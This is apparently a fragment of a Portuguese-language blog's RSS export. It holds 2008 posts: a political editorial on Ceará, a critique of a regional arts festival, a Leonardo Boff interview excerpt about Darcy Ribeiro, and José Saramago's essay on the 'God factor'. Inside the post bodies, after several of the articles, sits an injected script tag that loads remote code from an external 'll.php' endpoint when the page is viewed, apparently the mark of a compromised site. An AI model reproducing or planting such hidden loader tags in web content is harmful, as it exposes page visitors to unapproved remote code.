<div align="justify">Quase todos os anos os exploradores mudam os livros didáticos, as fardas, as taxas, as matrículas, os preços do papel, dos lápis, canetas, tudo, finalmente. E ainda inventam as &#8220;quotas&#8221; entre os alunos em compra de presentes para os diretores e mestres. Métodos de ensino, didática, rendimento escolar, freqüência, ano letivo&#8230; são outros problemas que só um regime sério poderá solucionar. De um lado temos os professores que de fato gostam do que faz e reclamam pelos baixos salários, de outro temos aqueles que por não fazerem nada deviam ter seus salários reduzidos ou expulsos do quadro de ensino. Organizar o ensino obrigatório e compulsório, fornecendo condições materiais, econômicas e práticas para enquadrar as massas nos roteiros da Ciência e da Cultura, da politização é dever do Estado, porém quem vai criar cobra para depois ser picado, este é o discurso da Elite dominante, que se vê com muita freqüência nas IES, ou realmente é verdade, ou os professores incompetentes usam-no como uma saidinha de sua incapacidade.</div>
<div align="justify">O Estado do Ceará é o estado que menos faz concursos públicos, e que mais se tem funcionários entrando em órgão públicos, estaduais e municipais com jeitinho, jeitinho não! Safadeza política.È inaceitável vivermos em pleno século XXI, e assistirmos de braços cruzados a volta dos cabides de emprego, onde só se penduram incompetentes, que além de roubarem o dinheiro nosso não prestam nenhum serviço de qualidade ao povo. Só querem se dar bem! È o individualismo reinando no Ceará!O homem individualista é produto da luta de classes do regime capitalista, da liberdade individual, privada; daí a guerra implacável, diária, contra o semelhante, para ver quem junta mais riqueza; mata; furta, rouba e explora, tudo faz para adquirir ou ganhar o vil metal.Tudo pode acontecer pois especialmente no Ceará há condições ou influências para isso. Há ambiente. Tudo ajuda. Hoje senta-se na mesma mesa quem, ganhou e quem perdeu. E os que balançavam suas bandeiras onde estão? Daí o atraso social e pobreza para muitos e boa vida para aqueles que são os mais práticos, seguros, ferozes, sabidos e frios, levando de roldão todos os princípios morais e teóricos de igualdade, fraternidade e liberdade. Daí as contradições, prega-se uma coisa e se faz outra; prega-se a paz e vem a guerra&#8230; È a tal dialética.</div>
<div align="justify"> </div>
<div align="justify">Saudações Geopolíticas!</div>
<div align="justify">João Ludgero &#8211; Geógrafo</div>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>PELA ARTE POPULAR</title>
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		<pubDate>Sat, 15 Nov 2008 13:25:00 +0000</pubDate>
		<dc:creator>Joao Ludgero</dc:creator>
				<category><![CDATA[Editorial]]></category>

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		<description><![CDATA[No festival cariri das artes, mais uma vez nossa terra em festa.Carregando a obrigação de tratar da cultura, mais uma vez se vê, pessoas com muitos sonhos. Tão difícil, se sabe, cumprir essa obrigação. Principalmente, considerando que existe todo um jogo de interesses relacionado à comercialização no sentido do alcance de lucro, manipulando os eventos [...]]]></description>
			<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WY3qKeZY6L0/SSHtm5keVrI/AAAAAAAAG2s/YOO29AowTE0/s1600-h/tomvin.jpeg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 270px; height: 260px;" src="http://1.bp.blogspot.com/_WY3qKeZY6L0/SSHtm5keVrI/AAAAAAAAG2s/YOO29AowTE0/s400/tomvin.jpeg" alt="" id="BLOGGER_PHOTO_ID_5269754291544807090" border="0" /></a>
<div align="justify"><span style="font-weight: bold; color: rgb(0, 0, 153);font-size:180%;" >N</span>o festival cariri das artes, mais uma vez nossa terra em festa.<br />Carregando a obrigação de tratar da cultura, mais uma vez se vê, pessoas com muitos sonhos. Tão difícil, se sabe, cumprir essa obrigação. Principalmente, considerando que existe todo um jogo de interesses relacionado à comercialização no sentido do alcance de lucro, manipulando os eventos que ocorrem pela sociedade.<br />Não preciso nem destacar, pois tudo é do conhecimento, ou basta ter um só momento e querer observar.<br />Pensando que as coisas não acontecem por acaso, vale relembrar as considerações feitas por Gramsci, que há uma classe de intelectuais necessária a uma estrutura existente.<br />Alguma reflexão há pelas linhas que seguem.<br />Mesmo considerando o espaço que é criado nesse evento, é uma coisa perigosa uma só entidade ser a grande/única patrocinadora de momentos tão importantes. O SESC é vinculado/subordinado a Federação do Comércio, instituição que tem suas tendências políticas bem definidas.<br />Claro, pode-se questionar a não atuação de secretarias municipais, universidades, associações representativas de classes etc. Acho, realmente, que tais momentos deveriam ser desenhados como fruto de debates entre agentes relacionados aos interesses locais.<br />Afirmo mais uma vez e sem nenhum receio que não simpatizo com isso e, faço questão de destacar o respeito às pessoas bem intencionadas e aos vários talentos importantes que nesse espaço circulam.<br />Há uma programação que é ideal, para alguém: DJ´s como proposta de cultura. Um momento que nada tem de popular, pois se configura em uma festa reservada. Penso se no lugar disso não haveria a oportunidade de criar um espaço e/ou melhores condições para outras pessoas participarem.<br />Mas, ainda bem que nem tudo é feio: alegria pela luta dos cocos, felicidade pela oportunidade de ter visto expressões artísticas que realmente elevam essa terra.</div>
<div align="justify"> </div>
<div align="justify"><span style="font-weight: bold;">Leonardo Silveira</span></div>
<div style="font-weight: bold;" align="justify">Professor da URCA e Músico</div>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>CONVERSA METAFÍSICA</title>
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		<pubDate>Wed, 12 Nov 2008 21:19:00 +0000</pubDate>
		<dc:creator>Joao Ludgero</dc:creator>
				<category><![CDATA[Editorial]]></category>

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		<description><![CDATA[Trecho belíssimo da entrevista de Leonardo Boff a Caros Amigos, relatando seu encontro com Darcy Ribeiro. Frei Betto &#8211; Conta a experiência com o Darcy.Leonardo Boff &#8211; O Darcy Ribeiro deixou no testamento que eu deveria fazer a encomendação do cadáver dele, e eu fiz. Também o que faço muito é atender pessoas que têm [...]]]></description>
			<content:encoded><![CDATA[<div align="justify">Trecho belíssimo da entrevista de Leonardo Boff a Caros Amigos, relatando seu encontro com Darcy Ribeiro. </div>
<div align="justify"><span style="color:#cc0000;">Frei Betto &#8211; Conta a experiência com o Darcy.<br /></span><span style="color:#330099;">Leonardo Boff</span> &#8211; O Darcy Ribeiro deixou no testamento que eu deveria fazer a encomendação do cadáver dele, e eu fiz. Também o que faço muito é atender pessoas que têm uma crise espiritual, estão em busca de alguma coisa, e pedem uma conversa. O Darcy pediu: &#8220;Eu quero a minha grande conversa com o frei Betto e o frei Boff&#8221;. O Betto estava na África, tentei chamá-lo, não encontrei, e fui sozinho. Digamos que foi a última grande conversa entre tantas que tive com o Darcy. Ele disse: &#8220;Boff, quero ter uma conversa metafísica. Quero abordar a questão da morte, o que vem depois da morte, e não tem nenhum interlocutor, entre os meus amigos, que possa sustentar o discurso que eu quero&#8221;. Fui lá uns quinze dias antes de ele morrer, e ele se abriu: &#8220;Quero discutir com você o tema da morte, porque estou enfrentando a morte, o meu último grande desafio&#8221;. Então me fez ler o prefácio do inédito Confissões (livro lançado posteriormente), em que faz uma leitura de sua vida, não uma autobiografia, mas fatos relevantes, luminosos da vida dele. E terminava o prefácio dizendo: &#8220;Pena que a vida, tão carregada de lutas e fracassos, e vitórias, e vontade de trabalhar, seja marcada por uma profunda desesperança, porque nós voltamos, através da morte, ao pó cósmico, ao esquecimento, e ficamos na memória, que é curta e só de algumas pessoas, e voltamos à diluição cósmica&#8221;. Então eu disse, ao terminar a leitura: &#8220;Darcy, acho que é uma interpretação de quem vê de fora. É como você ver a borboleta, e ver o casulo. Você pode chorar pelo casulo que foi deixado para trás e ver que ele morreu. Mas você pode olhar a borboleta e dizer: &#8220;Não, ele libertou a borboleta, e ela é a esperança de vida que está dentro do casulo&#8221;.</div>
<div align="justify"><span style="color:#cc0000;">Leo Gilson &#8211; Embora seja muito efêmera?<br /></span><span style="color:#000099;">Leonardo Boff -</span> É. Mas, de toda maneira, é vida, não é? Então eu disse: &#8220;Darcy, no pensamento mais originário, contemporâneo, da biologia molecular, no estilo Elya Prigogine, o caos é uma invenção da orbi, a morte é uma invenção da vida, pra vida ser mais complexa, mais alta, e a tendência da vida é buscar a sua perpetuação, a sua imortalidade. Darcy, deixa te dizer como imagino a tua chegada, o teu grande encontro. Não vai ser com Deus Pai, porque pra você Deus tem de ser Mãe, tem de ser mulher&#8230; (risos) Então tem de ser Deusa. Imagino assim: que Deus, quando você chega lá em cima, vai dizer com os braços abertos: ‘Darcy, como você custou pra chegar, eu estava com uma saudade louca de você, finalmente você veio, você não queria vir, você teve de vir e agora chegou’. E te abraça e te afaga em seu seio, e te leva de abraço em abraço, de festa em festa&#8230;&#8221;. E ele emendou: &#8220;De farra em farra&#8230;&#8221;. (risos) Eu digo: &#8220;Darcy, isso será pela eternidade afora&#8221;. Aí ele parou e me olhou de lado, assim como que interrogando, e disse: &#8220;Como gostaria que fosse verdade! Minha mãe morreu cheia de fé e morreu tranqüila, eu invejo você, que é um homem inteligente e de fé. Eu não tenho fé. Como gostaria que fosse verdade&#8221;. E aí lhe correu uma lágrima e ele ficou silencioso, estremeceu e teve um acesso de diabetes, uma queda muito grande de pressão e tiveram de levá-lo. E terminou assim a conversa. Eu ainda disse antes de ele sair: &#8220;Darcy, não se preocupe com a fé, porque Deus não se incomoda com a fé. Pelos critérios de Jesus, quem tem amor tem tudo. Então, quando a gente chega na tarde da vida como você, quem atendeu os famintos como você; crianças abandonadas como você; índios marginalizados como você; negros que você defendeu; as mulheres oprimidas, desde o neolítico ninguém louvou tanto a mulher quanto você – quem fez isso ganha tudo, porque optou pelos últimos, por aqueles que estavam em necessidade. Quem fez isso tem o reino, tem a eternidade, tem Deus. E você só fez isso&#8221;. Ele respirou e disse: &#8220;Puxa, mas tem de ser verdade&#8221;. Mas não conseguia dar o passo, acho que não importa dar o passo, acho que ele teve a coerência de vida, que foi carregada de um grande sentido, de uma grande luta generosa. </div>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>O FATOR DEUS</title>
		<link>http://www.instrumentalbrasil.com/chapadadoararipe/2008/10/08/o-fator-deus/</link>
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		<pubDate>Thu, 09 Oct 2008 01:37:00 +0000</pubDate>
		<dc:creator>Joao Ludgero</dc:creator>
				<category><![CDATA[Editorial]]></category>

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		<description><![CDATA[Postado por &#8211; João LudgeroAutor: José Saramago Algures na Índia. Uma fila de peças de artilharia em posição. Atado à boca de cada uma delas há um homem. No primeiro plano da fotografia um oficial britânico ergue a espada e vai dar ordem de fogo. Não dispomos de imagens do efeito dos disparos, mas até [...]]]></description>
			<content:encoded><![CDATA[<div align="justify">Postado por &#8211; João Ludgero<br />Autor: José Saramago</div>
<div align="justify"> </div>
<div align="justify">Algures na Índia. Uma fila de peças de artilharia em posição. Atado à boca de cada uma delas há um homem. No primeiro plano da fotografia um oficial britânico ergue a espada e vai dar ordem de fogo. Não dispomos de imagens do efeito dos disparos, mas até a mais obtusa das imaginações poderá &#8220;ver&#8221; cabeças e troncos dispersos pelo campo de tiro, restos sanguinolentos, vísceras, membros amputados. Os homens eram rebeldes. Algures em Angola. Dois soldados portugueses levantam pelos braços um negro que talvez não esteja morto, outro soldado empunha um machete e prepara-se para lhe separar a cabeça do corpo. Esta é a primeira fotografia. Na segunda, desta vez há uma segunda fotografia, a cabeça já foi cortada, está espetada num pau, e os soldados riem. O negro era um guerrilheiro. Algures em Israel. Enquanto alguns soldados israelitas imobilizam um palestino, outro militar parte-lhe à martelada os ossos da mão direita. O palestino tinha atirado pedras. Estados Unidos da América do Norte, cidade de Nova York. Dois aviões comerciais norte-americanos, seqüestrados por terroristas relacionados com o integrismo islâmico lançam-se contra as torres do World Trade Center e deitam-nas abaixo. Pelo mesmo processo um terceiro avião causa danos enormes no edifício do Pentágono, sede do poder bélico dos States. Os mortos, soterrados nos escombros, reduzidos a migalhas, volatilizados, contam-se por milhares.As fotografias da Índia, de Angola e de Israel atiram-nos com o horror à cara, as vítimas são-nos mostradas no próprio instante da tortura, da agônica expectativa, da morte ignóbil. Em Nova York tudo pareceu irreal ao princípio, episódio repetido e sem novidade de mais uma catástrofe cinematográfica, realmente empolgante pelo grau de ilusão conseguido pelo engenheiro de efeitos especiais, mais limpo de estertores, de jorros de sangue, de carnes esmagadas, de ossos triturados, de merda. O horror, agachado como um animal imundo, esperou que saíssemos da estupefação para nos saltar à garganta. O horror disse pela primeira vez &#8220;aqui estou&#8221; quando aquelas pessoas saltaram para o vazio como se tivessem acabado de escolher uma morte que fosse sua. Agora o horror aparecerá a cada instante ao remover-se uma pedra, um pedaço de parede, uma chapa de alumínio retorcida, e será uma cabeça irreconhecível, um braço, uma perna, um abdômen desfeito, um tórax espalmado. </div>
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<div align="justify">Mas até mesmo isto é repetitivo e monótono, de certo modo já conhecido pelas imagens que nos chegaram daquele Ruanda-de-um-milhão-de-mortos, daquele Vietnã cozido a napalme, daquelas execuções em estádios cheios de gente, daqueles linchamentos e espancamentos daqueles soldados iraquianos sepultados vivos debaixo de toneladas de areia, daquelas bombas atômicas que arrasaram e calcinaram Hiroshima e Nagasaki, daqueles crematórios nazistas a vomitar cinzas, daqueles caminhões a despejar cadáveres como se de lixo se tratasse. De algo sempre haveremos de morrer, mas já se perdeu a conta aos seres humanos mortos das piores maneiras que seres humanos foram capazes de inventar. Uma delas, a mais criminosa, a mais absurda, a que mais ofende a simples razão, é aquela que, desde o princípio dos tempos e das civilizações, tem mandado matar em nome de Deus. Já foi dito que as religiões, todas elas, sem exceção, nunca serviram para aproximar e congraçar os homens, que, pelo contrário, foram e continuam a ser causa de sofrimentos inenarráveis, de morticínios, de monstruosas violências físicas e espirituais que constituem um dos mais tenebrosos capítulos da miserável história humana. Ao menos em sinal de respeito pela vida, devíamos ter a coragem de proclamar em todas as circunstâncias esta verdade evidente e demonstrável, mas a maioria dos crentes de qualquer religião não só fingem ignorá-lo, como se levantam iracundos e intolerantes contra aqueles para quem Deus não é mais que um nome, o nome que, por medo de morrer, lhe pusemos um dia e que viria a travar-nos o passo para uma humanização real. Em troca prometeram-nos paraísos e ameaçaram-nos com infernos, tão falsos uns como os outros, insultos descarados a uma inteligência e a um sentido comum que tanto trabalho nos deram a criar. Disse Nietzsche que tudo seria permitido se Deus não existisse, e eu respondo que precisamente por causa e em nome de Deus é que se tem permitido e justificado tudo, principalmente o pior, principalmente o mais horrendo e cruel. Durante séculos a Inquisição foi, ela também, como hoje os talebanes, uma organização terrorista que se dedicou a interpretar perversamente textos sagrados que deveriam merecer o respeito de quem neles dizia crer, um monstruoso conúbio pactuado entre a religião e o Estado contra a liberdade de consciência e contra o mais humano dos direitos: o direito a dizer não, o direito à heresia, o direito a escolher outra coisa, que isso só a palavra heresia significa.E, contudo, Deus está inocente. Inocente como algo que não existe, que não existiu nem existirá nunca, inocente de haver criado um universo inteiro para colocar nele seres capazes de cometer os maiores crimes para logo virem justificar-se dizendo que são celebrações do seu poder e da sua glória, enquanto os mortos se vão acumulando, estes das torres gêmeas de Nova York, e todos os outros que, em nome de um Deus tornado assassino pela vontade e pela ação dos homens, cobriram e teimam em cobrir de terror e sangue as páginas da história. </div>
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<div align="justify">Os deuses, acho eu, só existem no cérebro humano, prosperam ou definham dentro do mesmo universo que os inventou, mas o &#8220;fator deus&#8221;, esse, está presente na vida como se efetivamente fosse o dono e o senhor dela. Não é um Deus, mas o &#8220;fator Deus&#8221; o que se exibe nas notas de dólar e se mostra nos cartazes que pedem para a América (a dos Estados Unidos, e não a outra&#8230;) a bênção divina. E foi no &#8220;fator Deus&#8221; em que o Deus islâmico se transformou, que atirou contra as torres do World Trade Center os aviões da revolta contra os desprezos e da vingança contra as humilhações. Dir-se-á que um Deus andou a semear ventos e que outro Deus responde agora com tempestades. É possível, é mesmo certo. Mas não foram eles, pobres Deuses sem culpa, foi o &#8220;fator Deus&#8221;, esse que é terrivelmente igual em todos os seres humanos onde quer que estejam e seja qual for a religião que professem, esse que tem intoxicado o pensamento e aberto as portas às intolerâncias mais sórdidas, esse que não respeita senão aquilo em que manda crer, esse que depois de presumir ter feito da besta um homem acabou por fazer do homem uma besta.Ao leitor crente (de qualquer crença&#8230;) que tenha conseguido suportar a repugnância que estas palavras provavelmente lhe inspiraram, não peço que se passe ao ateísmo de quem as escreveu. Simplesmente lhe rogo que compreenda, pelo sentimento de não poder ser pela razão, que, se há Deus, há só um Deus, e que, na sua relação com ele, o que menos importa é o nome que lhe ensinaram a dar. E que desconfie do &#8220;fator Deus&#8221;. Não faltam ao espírito humano inimigos, mas esse é um dos mais pertinazes e corrosivos. Como ficou demonstrado e desgraçadamente continuará a demonstrar-se.</div>
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